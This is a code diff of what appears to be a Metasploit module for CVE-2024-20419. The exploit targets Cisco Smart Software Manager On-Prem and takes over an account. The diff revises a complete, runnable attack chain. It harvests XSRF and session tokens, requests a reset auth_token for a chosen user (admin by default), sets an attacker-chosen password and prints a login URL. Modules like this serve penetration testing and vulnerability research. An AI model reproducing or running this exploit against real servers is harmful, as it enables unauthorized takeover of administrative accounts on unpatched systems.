@@ -5,10 +5,10 @@ def initialize(info = {})
55 super (
66 update_info (
77 info ,
8- 'Name' => 'Cisco SSM On-Prem Account Takeover (CVE-2024-20419)' ,
8+ 'Name' => 'Cisco Smart Software Manager ( SSM) On-Prem Account Takeover (CVE-2024-20419)' ,
99 'Description' => %q{
10- This module exploits an account takeover vulnerability in Cisco SSM On-Prem <= 8-202206, by changing the
11- password of the admin user to an attacker-controlled one. .
10+ This module exploits an improper access control vulnerability in Cisco Smart Software Manager ( SSM) On-Prem <= 8-202206, by changing the
11+ password of an existing user to an attacker-controlled one.
1212 } ,
1313 'Author' => [
1414 'Mohammed Adel' , # Discovery and PoC
@@ -21,7 +21,8 @@ def initialize(info = {})
2121 ] ,
2222 'DisclosureDate' => '2024-07-20' ,
2323 'DefaultOptions' => {
24- 'RPORT' => 8443
24+ 'RPORT' => 8443 ,
25+ 'SSL' => 'True'
2526 } ,
2627 'License' => MSF_LICENSE ,
2728 'Notes' => {
@@ -33,19 +34,24 @@ def initialize(info = {})
3334 )
3435
3536 register_options ( [
36- OptString . new ( 'NEW_PASSWORD' , [ true , 'Password to be used when creating a new user with admin privileges' , Rex ::Text . rand_text_alpha ( 8 ) ] )
37+ OptString . new ( 'NEW_PASSWORD' , [ true , 'New password for the specified user' , Rex ::Text . rand_text_alphanumeric ( 16 ) + '!' ] ) ,
38+ OptString . new ( 'USER' , [ true , 'The user of which to change the password of (default: admin)' , 'admin' ] )
3739 ] )
3840 end
3941
40- def run
41- # 1) Request oauth_adfs
42- print_status ( 'Starting workflow...' )
42+ def decode_url ( encoded_string )
43+ encoded_string . gsub ( /%([0-9A-Fa-f]{2})/ ) do
44+ [ ::Regexp . last_match ( 1 ) . to_i ( 16 ) ] . pack ( 'C' )
45+ end
46+ end
4347
48+ def run
49+ # 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
4450 res = send_request_cgi (
4551 'method' => 'GET' ,
4652 'uri' => normalize_uri ( target_uri . path , 'backend/settings/oauth_adfs' ) ,
4753 'vars_get' => {
48- 'hostname' => 'AAAAA'
54+ 'hostname' => Rex :: Text . rand_text_alpha ( 6 .. 10 )
4955 }
5056 )
5157
@@ -64,27 +70,43 @@ def run
6470 # Extract XSRF-TOKEN value
6571 xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
6672 xsrf_token = xsrf_token_regex . match ( raw_res )
67- print_status ( 'xsrf_token: ' + xsrf_token [ 1 ] )
6873
69- decoded_xsrf_token = decode_url ( xsrf_token [ 1 ] )
70- print_status ( 'xsrf_token: ' + decoded_xsrf_token )
74+ if xsrf_token
75+ xsrf_token_value = xsrf_token [ 1 ]
76+ if xsrf_token_value && !xsrf_token_value . empty?
77+ decoded_xsrf_token = decode_url ( xsrf_token_value )
78+ print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
79+ else
80+ fail_with ( Failure ::UnexpectedReply , 'XSRF Token value is null or empty.' )
81+ end
82+ else
83+ fail_with ( Failure ::UnexpectedReply , 'XSRF Token not found' )
84+ end
7185
7286 # Extract _lic_engine_session value
7387 lic_token_regex = /_lic_engine_session=([^;]*)/
7488 lic_token = lic_token_regex . match ( raw_res )
75- decoded_lic_token = decode_url ( lic_token [ 1 ] )
7689
77- print_status ( '_lic_engine_session: ' + decoded_lic_token )
90+ if lic_token
91+ lic_token_value = lic_token [ 1 ]
92+ if lic_token_value && !lic_token_value . empty?
93+ print_good ( "Retrieved _lic_engine_session: #{ lic_token_value } " )
94+ else
95+ fail_with ( Failure ::UnexpectedReply , '_lic_engine_session value is null or empty.' )
96+ end
97+ else
98+ fail_with ( Failure ::UnexpectedReply , '_lic_engine_session not found' )
99+ end
78100
79- # 2) generate_code
80- payload = '{ "uid": "admin"}'
101+ # 2) Request generate_code to retrieve auth_token
102+ payload = "{ \ " uid\ " : \" #{ datastore [ 'USER' ] } \" }"
81103
82104 res = send_request_cgi ( {
83105 'method' => 'POST' ,
84106 'ctype' => 'application/json' ,
85107 'headers' => {
86108 'X-Xsrf-Token' => decoded_xsrf_token ,
87- 'Cookie' => "_lic_engine_session=#{ decoded_lic_token } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
109+ 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
88110 } ,
89111 'uri' => normalize_uri ( target_uri . path , '/backend/reset_password/generate_code' ) ,
90112 'data' => payload
@@ -95,26 +117,27 @@ def run
95117 end
96118 case res . code
97119 when 200
98- print_good ( 'Server reachable.' )
120+ json = res . get_json_document
121+ if json . key? ( 'error_message' )
122+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
123+ elsif json . key? ( 'auth_token' )
124+ print_good ( 'Retrieved auth_token: ' + json [ 'auth_token' ] )
125+ end
99126 else
100127 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
101128 end
102129
103- raw_res = res . body
130+ auth_token = json [ 'auth_token' ]
104131
105- auth_token_regex = /"auth_token":"([^"]*)"/
106- auth_token = auth_token_regex . match ( raw_res )
107- print_status ( 'auth_token: ' + auth_token [ 1 ] )
108-
109- # 3) reset_password
110- payload = "{\" uid\" : \" admin\" , \" auth_token\" : \" #{ auth_token [ 1 ] } \" , \" password\" : \" Testbaaasab@123456780\" , \" password_confirmation\" : \" Testbaaasab@123456780\" , \" common_name\" : \" \" }"
132+ # 3) Request reset_password to change the password of the specified user
133+ payload = "{\" uid\" : \" #{ datastore [ 'USER' ] } \" , \" auth_token\" : \" #{ auth_token } \" , \" password\" : \" #{ datastore [ 'NEW_PASSWORD' ] } \" , \" password_confirmation\" : \" #{ datastore [ 'NEW_PASSWORD' ] } \" , \" common_name\" : \" \" }"
111134
112135 res = send_request_cgi ( {
113136 'method' => 'POST' ,
114137 'ctype' => 'application/json' ,
115138 'headers' => {
116139 'X-Xsrf-Token' => decoded_xsrf_token ,
117- 'Cookie' => "_lic_engine_session=#{ decoded_lic_token } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
140+ 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
118141 } ,
119142 'uri' => normalize_uri ( target_uri . path , '/backend/reset_password' ) ,
120143 'data' => payload
@@ -123,19 +146,17 @@ def run
123146 unless res
124147 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
125148 end
149+
126150 case res . code
127151 when 200
128- print_good ( 'Server reachable.' )
152+ json = res . get_json_document
153+ if json . key? ( 'error_message' )
154+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
155+ else
156+ print_good ( "Password for the #{ datastore [ 'USER' ] } user was successfully updated: #{ datastore [ 'NEW_PASSWORD' ] } " )
157+ print_good ( "Login at: http://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } /#/logIn?redirectURL=%2F" ) end
129158 else
130159 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
131160 end
132-
133161 end
134-
135- def decode_url ( encoded_string )
136- encoded_string . gsub ( /%([0-9A-Fa-f]{2})/ ) do
137- [ ::Regexp . last_match ( 1 ) . to_i ( 16 ) ] . pack ( 'C' )
138- end
139- end
140-
141162end
0 commit comments